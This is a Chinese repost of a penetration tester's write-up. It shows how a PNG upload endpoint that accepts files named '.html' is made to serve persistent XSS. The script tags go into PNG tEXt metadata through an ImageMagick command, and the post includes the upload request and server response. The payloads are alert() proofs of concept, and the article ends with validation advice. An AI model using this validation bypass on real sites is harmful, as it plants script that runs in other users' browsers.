From PNG tEXt to Persistent XSS (从文本到持久性XSS PNG)
博主简单分析:在阅读此文章前博主简单说几句。其实这篇文章整体的意思就是伪造一个图片,图片中含有xss代码,但是这个代码并不会影响图片的展示,然后变为base64格式上传,最终访问上传后的html文件,触发xss代码。完全可以用XSS平台的图片模块二,然后把图片保存到本地,然后百度搜索“图片转换base64编码”,然后把图片转换为base64上传,就OK啦,很简单的哦。
文章为转载。
某个人在对他的客户网站做测试,发现一个上传文件的地方,但是这里限制的非常非常的严格,仅仅可以上传后缀为PNG的文件,然而,在这个地方,你还可以上传文件后缀为html,但内容必须是图片的base64编码格式。
例如:
{“Name”:”image.png.html”,”Data”:”data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==”}
上面base64编码的图片是一个简单的红色的点。
这里尝试着改变数据类型例如html、url等,结果验证失败,也不能改编png验证(假设随便在png图中加入恶意代码,不可以的)。然而,base64解码和执行生成的html页面,如下:
‰PNG IHDRo&åIDAT×cøÿÿ?Ã Ã „Ð1ñ‚XÍ
õ5ËÑŽ
IEND®B`‚
所以这让我想到了......我应该能够在base64的末尾加上“/> <script> alert(”xss“); </ script>”,它会工作的,对吧?结果没有。验证也失败了。
堆栈溢出的最佳答案建议做神奇的字节头检查,以确保PDF是有效的,即检查前几个字节是“0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A”还是多一点/少一点。
所以我用魔术字节构造了一个“假”PNG,然后是“/> <script> alert(”XSS“); </ script>”作为字节数组,编码并将其解开。验证失败..这是一件好事。只是检查魔术字节是我在代码审查上标记的东西。他们使用.NET,所以我想他们会做类似于以下的事情,这是正确的方式:
try { using (var ms = new MemoryStream(mPNGBytes)) { var aa = Image.FromStream(ms); if (aa.Height >= 0) { Console.WriteLine("Valid image"); } } } catch (Exception) { // invalid PNG }
我花了一小会儿敲了一个程序,希望能幸运的基本迭代一个合法的PNG,插入我的XSS字符串作为第一位,一个字节数组的位置,等再加入在插入或追加剩余的字节来看看有没有通过验证。什么也不做,这是浪费时间。
关闭RFC。可以将“文本块”添加到PNG文件中(https://www.w3.org/TR/2003/REC-PNG-20031110/#11tEXt)。这些是对元数据有效的合法内容(版权等)。有一些SDK,但它们都过时或难以使用。使用ImagMagick做了诀窍。使用示例命令:
convert Head_red.png -set 'Copyright' '/><script>alert("1");</script>' -set 'Title' '/> <script>alert("2");</script>' -set comment '/><script>alert("3");</script>' OUT.png
添加下面的页脚PNG:
这将通过验证了。果然,上传与HTML终点结果:
{"Name":"image.png.html","Data":"data:image/png;base64,<base64 string>}
和响应:
{"Id":845,"Name":"image.png.html","StorageFolder":"fjgsc452kgebjli2","ContentType":"","Size": 31115,"Height":739,"Width":590,"Deleted":false,"Created":"0001-01-01T00:00:00","DomainId":0," Domain":null,"ApplicationUserId":null,"ApplicationUser":null,"PrivacySetting":"MyCompany","Ta gs":[],"Url":"https://████████████.blob.core.windows.net/images/fjgsc452kgebjli2/image.png.html" ,"ThumbnailUrl":"https://████████████.blob.core.windows.net/images/fjgsc452kgebjli2/image.png_ thumbnail.html"}
最后,我们得到了XSS在https:/ /████████████。blob.core.windows.net/images/fjgsc452kgebjli2/image.png.html:
有许多图像文件类型,如JPEG和GIF文本块(而非图像文件类型太多)所以确保输入正确验证附加或嵌入过滤内容。
文章转载地址:https://www.pentestpartners.com/security-blog/from-png-text-to-persistent-xss/
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏